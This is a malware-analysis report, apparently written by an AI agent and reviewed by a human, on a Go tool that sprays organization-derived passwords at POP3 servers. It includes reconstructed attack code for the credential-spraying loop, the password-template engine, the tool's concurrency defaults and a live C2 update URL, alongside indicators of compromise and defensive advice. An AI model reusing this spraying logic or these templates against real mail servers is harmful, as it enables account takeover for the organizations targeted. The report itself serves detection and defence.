Static teardown of a Go-based mass POP3 password-spraying tool — recovered protocol logic, worker concurrency model, password-template engine, live C2 update endpoint, and a statistical liveness check on its 4.5-million-entry target list.
Note: this analysis was performed by an AI agent using the Claude (Anthropic) model, following the documented Matrix hunting workflow; findings were reviewed by the operator before publication.
Executive summary
An open directory at https://216-10-250-47.cprapid.com/ — a cPanel-generated “technical domain” that cPanel itself flags as untrustworthy for real traffic (cptechdomain.shtml, HTTP 428) — was found serving three ~66 MB archives (italy.tgz, france.tgz, rom.tgz). Despite the country-flavored names, all three turned out to be the exact same toolkit, repackaged three times:
- an identical Go binary (same BuildID) in every archive, implementing a multi-threaded POP3 (port 110) credential-spraying scanner;
- an identical 4,500,000-line target list (
ips.txt, domain→IP pairs) and an identical 2,088-line password-template list (pass.txt) in every archive; - a live, still-responding update/C2 endpoint hardcoded in the binary (
http://31.193.129.150/fix.txt), confirmed reachable at analysis time.
Everything below was recovered through static analysis (file, strings, nm, objdump -d) — the binary was never executed.
How it was found
The directory listing exposed a junk test file (1.txt, content wefwef), the cPanel warning page, and the three archives. Downloading and unpacking them (never running the binaries) revealed each archive contains four files: a Go executable, pass.txt, pop3.txt (empty), and ips.txt.
File inventory
| File | Size | SHA256 | Role |
|---|---|---|---|
rom.tgz / italy.tgz / france.tgz |
66 MB each | 8c8f5bfa… / afea77fd… / 1100e0a6… |
Three re-packaged copies of the same toolkit |
rom/italy/france (ELF binary) |
7.1 MB, identical in all 3 | 579f0325d4463deb2ac480ef5bdd43c626411d9c5ab353d655d0c56a924d6d52 |
Go POP3 credential-spraying scanner, not stripped |
ips.txt (identical in all 3) |
141 MB / 4,500,000 lines | a851b53c… |
Target list: domain IP pairs |
pass.txt (identical in all 3) |
37 KB / 2,088 lines | 489739d9… |
Password templates |
pop3.txt |
0 bytes | — | Results file — empty in every distributed copy |
Reverse-engineering the scanner (unstripped Go binary)
The binary ships with full debug symbols, so nm/objdump -d recovered every function name directly: main.loadIPs, main.loadPasswords, main.constructPassword, main.getDomainWithoutTLD, main.tryPOP3, main.getPasswordFromURL, plus the globals main.concurrency, main.timeout, main.mu.
Startup and defaults
flag.Var(&concurrency, "c", "Concurrency level") // default: 1000
flag.Var(&timeout, "t", "Timeout duration in seconds") // default: 5
loadPasswords("pass.txt")
loadIPs("ips.txt")
os.OpenFile("pop3.txt", O_APPEND|O_CREATE|O_WRONLY, 0644)
getPasswordFromURL("http://31.193.129.150/fix.txt") // fetched on every run
// worker pool of `concurrency` goroutines, each calling tryPOP3 per (domain, ip) × pass.txt entry
The C2/update URL was checked live and is still responding (HTTP 200, nginx/1.14.1). RIPE whois places 31.193.129.150 in AS29550-infra (AS29550, Simply Transit Ltd, Reading, UK — abuse contact abuse@as29550.net).
Password-template engine (main.constructPassword)
Every entry in pass.txt is a template, not a real password — e.g. info:%domain%2024. main.constructPassword runs sequential strings.Replace calls to build the real attempt per target domain:
| Placeholder | Substitution |
|---|---|
%Domain% |
Title-cased domain name (no TLD) |
%domain% |
domain name (no TLD) |
%DOMAIN% |
upper-cased domain name (no TLD) |
%dom2% / %dom3% |
first 2 / 3 characters of the domain name |
So info:%domain%2024 against example.com becomes username info, password example2024 — a classic organization-name password-spray, always against the generic role mailbox info@.
The POP3 attack logic (main.tryPOP3, disassembled instruction-by-instruction)
func tryPOP3(domain, ip, user, pass string) {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:110", ip), timeout) // port 110, plaintext
if err != nil { return }
defer conn.Close()
reader := bufio.NewReaderSize(conn, 4096)
banner, err := reader.ReadString('\n')
if err != nil || banner[:3] != "+OK" { return }
conn.Write([]byte(fmt.Sprintf("USER %s\r\nPASS %s\r\n", user, pass)))
resp1, _ := reader.ReadString('\n') // reply to USER
if resp1[:3] != "+OK" { return }
resp2, _ := reader.ReadString('\n') // reply to PASS
if resp2[:3] != "+OK" { return }
// logs "[*] Cracked: %s" to pop3.txt, guarded by main.mu
}
Key findings confirmed directly from the disassembly and .rodata strings:
- Plaintext POP3 on port 110 (not POP3S/995) is the sole target protocol.
USERandPASSare sent together in one single write (USER %s\r\nPASS %s\r\n).- Success requires three consecutive
+OKreplies (banner, USER, PASS) — the pure RFC 1939 positive-status marker; the tool never touches the mailbox itself. - Defaults are aggressive: 1,000 concurrent goroutines, 5-second dial timeout per attempt — both overridable via
-c/-tflags — enough to sweep millions of domain/password combinations quickly. - Hits are appended to
pop3.txtunder a mutex (main.mu), so this is a genuine multi-threaded, production-grade spraying tool, not a proof-of-concept.
Is the 4.5-million-domain target list any good?
We pulled 500 domains at random out of the 4.5M ips.txt entries and probed each over HTTP with a short timeout, then manually verified the automated classification on a sub-sample. Result, after correcting for false positives found in the initial pass (many “active-looking” short responses were actually “Account Suspended”, 403s, empty directory listings, or default Plesk/cPanel pages):
- ~40% of the list is dead: parked, suspended, registrar placeholders, or plain error pages.
- ~55–60% points to a real, functioning website.
That’s consistent with a raw, unfiltered DNS/zone scrape rather than a pre-vetted hit list — the operators rely on tryPOP3‘s own connection timeout to discard unreachable targets at run time rather than cleaning the list beforehand. The sheer volume (4.5M entries) still signals the intended scale of the campaign.
Indicators of Compromise (IoCs)
Distribution / infrastructure
216-10-250-47.cprapid.com(216.10.250.47) — cPanel technical domain, open directory serving the toolkit31.193.129.150— live C2/update endpoint (http://31.193.129.150/fix.txt), AS29550 / Simply Transit Ltd (UK), abuse contactabuse@as29550.net
File hashes (SHA256)
579f0325d4463deb2ac480ef5bdd43c626411d9c5ab353d655d0c56a924d6d52 rom/rom | italy/italy | france/france (identical binary) 8c8f5bfaa024771cf7c99b05d29764f4a5c6d3f7f9ec6021cab769e6fe5741cf rom.tgz afea77fd819be1d94376b8feb01ffd430e04dbfe5dfa6e7557731b2c20b518b5 italy.tgz 1100e0a67ddcdf7f40c2dd94ee7a9f2071b36005b761e0b2a73d990300a15f1f france.tgz a851b53cf697526832914c6c2a89e9d51cc8049a638b676ac53a075056cc60e2 ips.txt (identical in all 3 archives) 489739d946b4f780d46066d226358163ac8c2ea1aac56877d7112ac3db67e8a1 pass.txt (identical in all 3 archives)
Go BuildID: jvWiP7XT_sBhPT6Ljjf5/F6sP2v8ZaD0fvliuyLER/BidEXXUiUjrWYKlxGOQS/mYQ7atAfNRmdDPRunrjY
Protocol / behavioral signatures
tcp/110, plaintext POP3 onlyUSER %s\r\nPASS %s\r\nsent as a single write- Success = three consecutive
+OKreplies (banner + USER + PASS) - Default profile: 1,000 concurrent connections, 5s dial timeout — bursts of rapid
USER/PASSpairs from one source IP against many destination IPs on port 110 is the network signature to alert on
Recommended actions
- Report
216-10-250-47.cprapid.com/216.10.250.47to its hosting provider — currently an open, publicly browsable distribution point for an operational credential-spraying toolkit. - Report
31.193.129.150toabuse@as29550.net(AS29550, RIPE abuse contact) as a live C2/update endpoint — confirmed reachable at analysis time. - Load the binary SHA256 and Go BuildID into detection tooling; add the
USER/PASS-burst + triple-+OKbehavior as a network signature for POP3 honeypots and mail-server monitoring. - Any internet-facing POP3 (port 110) service using organization-name-derived passwords for generic mailboxes (
info@domain.tld) is a direct match for this tool’s targeting model. Disable plaintext POP3 in favor of POP3S/IMAPS and enforce strong, non-guessable passwords on role accounts. - Treat
ips.txt-style bulk scrapes as unfiltered noise, not validated exposure — roughly 40% of this particular list pointed nowhere live in our sampling.
Analysis performed defensively on statically-inspected, never-executed binaries and data files by an AI agent (Claude, Anthropic model); the C2 endpoint and hosting IP were probed only with a single read-only HTTP request each to confirm liveness, per the documented Matrix hunting rules.